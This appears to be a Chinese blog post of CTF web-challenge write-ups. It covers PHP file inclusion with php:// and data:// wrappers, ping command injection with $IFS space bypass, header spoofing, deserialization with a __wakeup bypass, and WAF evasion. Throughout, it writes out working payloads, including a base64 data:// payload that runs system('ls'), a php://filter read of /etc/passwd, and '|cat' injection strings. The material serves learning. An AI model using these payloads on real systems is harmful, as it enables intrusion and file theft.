CTF刷题

目录

1、文件包含漏洞(file include)​

2.PINGPINGPING

3.http

4.反序列化

什么是序列化

5、index.php.bak(备份)

6、WAF绕过

7、NiZhuanSiWei(data://text/plain)


1、文件包含漏洞(file include)

先简单了解一下什么是文件包含:开发人员一般会把重复使用的函数写到单个文件中,当需要使用这个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。那正常来说包含的文件是固定的、写死的就不会存在文件包含漏洞,但是这样的话又不够便捷,所以开发人员为了使代码调用更加灵活,就会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,允许用户从客户端提交一个变量值来作为文件包含的变量值,当这个值是段恶意代码时,并且服务端又没有对用户的输入进行一个很好的过滤,就会造成文件包含漏洞。

注:(实现文件包含功能的函数:include、require、include_once、require_once·······)

本题的php源代码乍一看就是利用filename参数带一段恶意代码进去,然后include函数执行恶意代码进而找到flag。事实也是这样,不过会遇到很多过滤,要想办绕过去。
 

这题是get请求,所以url传参,利用include的漏洞,执行恶意代码

 php的文件包含漏洞,可以用到各种伪协议如下:

1.伪协议种类
    file:// 访问本地文件系统
    http:// 访问http(s)网址
    ftp:// 访问ftp
    php:// 访问各个输入/输出流
    zlib:// 压缩流
    data:// 数据
    rar:// RAR压缩包
    ogg:// 音频流
 

data://伪加密:

filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
base64解密为<?php system("ls")?>

http://127.0.0.1/include.php?filename=data://text/plain,<?php%20phpinfo();?>

就这题而言,是php://伪协议

?filename=php://filter/convert.base32/resource=flag.php

?filename=php://filter/read=convert.base64/resource=/etc/passwd

首先使用phpfiter读取源码,构造:?filename=php://filter/convert.base64-encode/resource=flag.php

url/?filename=php://filter/convert.base64-encode/resource=flag.php

 发现如下存在过滤

官方说使用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
这题看编码的使用:

http://61.147.171.105:49461/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

 

2.PINGPINGPING

通过管道符 构造ip=127.0.0.1 | ls,可能存在空格过滤

去掉空格之后,我们查看一下index.php里面的内容.ip=127.0.0.1|cat index.php,此时就需要空格绕过

 这里我们可以采用$IFS$6绕过,因为这个没用被过滤

 打开之后,有正则匹配,包括空格过滤

 

 

 flag被过滤掉了现在要拿到flag.php里面的内容,需要对flag进行构造

具体参见此处

3.http

检查网页源代码发现/Secret.php

进去,看到如下界面,我们发现此界面不是由https://Sycsecret.buuoj.cn界面前来的,所以我们加一个referer:https://Sycsecret.buuoj.cn

 

发现需要这个浏览器登录,所以我们改一改User-Agent

 发现只能本地登录,所以我们加一个X-Forwarded-For: 127.0.0.1,拿到flag

4.反序列化

反序列化基础!!!讲的好好

进来什么都没有,拿dirsearch扫,有时候扫不出来,很离谱,多扫几次,发现./www.zip

 打开如下

什么是序列化

我的理解很简单,就是将对象转化为可以传输、储存的数据。
什么意思?
正常一个对象,只能存在于程序运行时,当程序运行结束了,对象就消失了,对象只在程序运行时存在

如有这样一个需求,我想把user对象(包含了名字,年龄,身高,简历信息)传给数据持久化的服务(保存数据的服务)。
需要怎么做?
创建一个json对象,然后把user对象信息填写到json中,
{“name”:“zhangsan”,“age”:12,“height”,12,“resume”:{“school”:“tsinghua”,“level”:1}}
然后把这个json传给持久化服务,
这样就要求每次传输数据时,都要将对象先转为json等格式数据,再进行传输,而且这只是简单的数据。
如果是更复杂的,对象A里有对象B、C,对象B又有D,则需要手动,将这些数据转成json,发送到远程服务器,再根据这些数据,还原对象。

而使用序列化,则是将user对象序列化为数据,传输到持久化服务器上时,再反序列化,就得到了user对象,让对象可以传输。
所以序列化,就是将对象转化为数据,相当与给对象拍了个快照,传输或者储存,使用时再反序列化,又变为了对象。

看下php序列化和反序列化过程:

执行结果:

再反序列化看下:

打开index.php,发现存在反序列化。所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php。

其中包含class.php,打开看看,我们此时就需要调用到__destruct()并且password=100,username=admin才能echo $flag

怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数),我们通过构造数据流里面是password=100,username=admin,然后反序列化的时候进行匹配,如何对上了,就给flag

在进行序列化的时候,会调用construct函数

 魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

原文链接:here

 所以,我们可以进行序列化!

<?php

class Name
{
    private $username;
    private $password;

    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));

?>

通过结果,我们可以试试!第一步已经完成!!

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

所以我们对原来的payload进行修改

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

修改之后仍然没有用,此时出问题了,问题就在于在反序列化的时候会触发__wakeup()函数!

__wakeup函数经常用在反序列化操作中,例如,重新建立数据连接或者性其他初始化操作。我们需要绕过这个函数

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 

 所以修改payload,拿到flag!

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

5、index.php.bak

知识点:index.php.bak是网页的备份文件

 is_numeric($key):判断key是不是数字

intval($key):判断key是不是整型

 $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;

数字和字符串比较,只要数字部分相同即可

6、WAF绕过

一个简单的计算机,我们审计源代码,可以发现/calc.php

发现存在过滤

这里就需要绕过,它过滤了num,但是!没有过滤" num"(前面加的空格)但是URl解析的时候又会把前面的空格去掉然后解析,所以可以采取这个方式,其他绕过方式参考此处此处

不绕:

绕:

发现flag标记,这里用到了scandir()函数,扫描目录,应该构造scandir("/"),但是"/"被过滤掉了。

所以我们构造scandir(chr(47))!

 构造flag payload,拿到flag,这里用到了file_get_contents()函数!!!

7、NiZhuanSiWei

代码审计:要我们传text,file,password这三个变量

 第一关:需要我们传text变量,让text这个文件里面的内容为:welcome to the zjctf

这里我们需要用到data://写入协议

构造payload

text=data://text//plain,welcome to the zjctf

第二关:文件包含漏洞,读文件

构造payload

file=php://filter/read=convert.base64-encode/resource=useless.php

 拿到源代码:

 

解码:

第三关:反序列化

这里有输出这个对象,需要用到_tostring()函数,这个函数的内容是输出反系列化出来的文件的内容,所以我们需要序列化!

 

构造payload:password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}之后打开源码,拿flag

 

 

 

 

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值